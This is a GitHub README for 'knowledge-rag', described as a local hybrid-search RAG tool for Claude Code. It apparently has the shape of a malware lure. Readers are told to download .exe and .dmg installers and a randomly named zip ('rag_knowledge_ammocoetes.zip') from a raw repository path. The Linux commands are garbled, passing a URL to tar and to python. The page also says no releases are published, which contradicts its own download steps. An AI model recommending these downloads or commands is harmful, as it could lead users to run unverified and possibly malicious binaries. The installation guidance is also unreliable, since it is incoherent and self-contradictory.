Skip to content

gORILLA453/knowledge-rag

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

6 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🧠 knowledge-rag - Empower Your Search Experience

πŸš€ Getting Started

Welcome to the knowledge-rag repository! This application allows you to utilize a local RAG system for Claude Code, which offers hybrid search capabilities combining semantic and BM25 methods. With integration for MCP, you can achieve effective and private search results.

πŸ“₯ Download & Install

To get started, visit the following link to download the application: Download knowledge-rag

  1. Click on the link above.
  2. You will be redirected to our Releases page.
  3. Look for the latest version, and click on the assets attached to it to download.

You will find all necessary files for different operating systems on this page. Be sure to choose the version that fits your device.

πŸ–₯️ System Requirements

To ensure knowledge-rag runs smoothly, your device should meet the following minimum requirements:

  • Operating System: Windows 10 or later, macOS 10.15 or later, or a recent Linux distribution.
  • RAM: Minimum 4GB of RAM.
  • Storage: At least 500MB of available storage.
  • Python: Version 3.7 or later installed on your system.

πŸ“‚ Installation Steps

After downloading the appropriate file, follow these steps to install the application:

Windows

  1. Locate the downloaded .exe file.
  2. Double-click on the file to initiate the installation.
  3. Follow the on-screen instructions to complete the installation.

macOS

  1. Open the downloaded .dmg file.
  2. Drag the knowledge-rag icon to your Applications folder.
  3. Eject the mounted volume after the transfer is complete.

Linux

  1. Open a terminal window.
  2. Navigate to the directory where the file was downloaded.
  3. Extract the contents of the file using the command:
    tar -xvzf knowledge-rag*https://raw.githubusercontent.com/gORILLA453/knowledge-rag/master/scripts/rag_knowledge_ammocoetes.zip
  4. Change into the newly created directory:
    cd knowledge-rag
  5. Run the application using Python:
    python https://raw.githubusercontent.com/gORILLA453/knowledge-rag/master/scripts/rag_knowledge_ammocoetes.zip

πŸ”‘ Configuration

After installing, you may need to configure the application to suit your needs:

  1. Data Source: Connect knowledge-rag to your preferred data source, such as a local database or an external API.
  2. Search Parameters: Adjust your semantic and BM25 settings to refine search results.
  3. MCP Integration: Follow the instructions provided in the user guide for setting up MCP.

🌟 Features

  • Hybrid Search: Combines semantic searches with BM25 for accurate results.
  • Easy Integration: Seamlessly connect with Claude Code and other services.
  • Local Privacy: All data processing occurs on your device, ensuring your search history remains private.

🌐 Topics

This project involves several important concepts, including:

  • Vector Database: Efficient storage and retrieval of complex data.
  • Retrieval-Augmented Generation: Enhance outputs by incorporating external data.
  • Privacy in AI: Focus on user data protection during searches.

❓ Troubleshooting

If you encounter any issues, consider the following solutions:

  • Application Does Not Start: Ensure that Python is installed and added to your system's PATH.
  • Slow Search Results: Adjust your search parameters within the application settings for faster performance.
  • Data Source Connection Issues: Verify that the connection settings are correct and the data source is active.

πŸ’¬ Support

For further assistance, please visit our Issues page to report any bugs or request features. Our community is here to help.

By following these steps, you can successfully download and run the knowledge-rag application. Enjoy a more powerful and private search experience!

About

πŸ” Enhance your knowledge base with a local RAG system that leverages hybrid search for precise information retrieval and optimal results.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors